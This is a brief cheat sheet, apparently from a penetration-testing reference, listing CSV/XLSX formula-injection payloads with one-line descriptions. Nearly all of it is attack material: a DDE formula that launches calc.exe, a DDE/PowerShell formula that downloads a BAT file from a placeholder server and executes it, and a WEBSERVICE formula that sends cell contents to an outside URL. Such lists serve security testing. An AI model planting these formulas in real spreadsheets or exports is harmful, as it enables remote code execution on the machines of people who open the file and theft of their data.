CSV/XLSX formula injection

Formula

Description

=cmd|' /C calc'!xxx

Launch calc.exe

=HYPERLINK("https://www.google.com/","here")

Link to https://www.google.com/

=cmd|’/C powershell iex(wget "<server/m.bat>" -OutFile "C:/m.bat"); "C:/m.bat"’!A0

Download a BAT file and execute it

=WEBSERVICE("https://example.com/?data="&A1)

Data exfiltration of spreadsheet content

=ENCODEURL(A1)

Data exfiltration of spreadsheet content

Last updated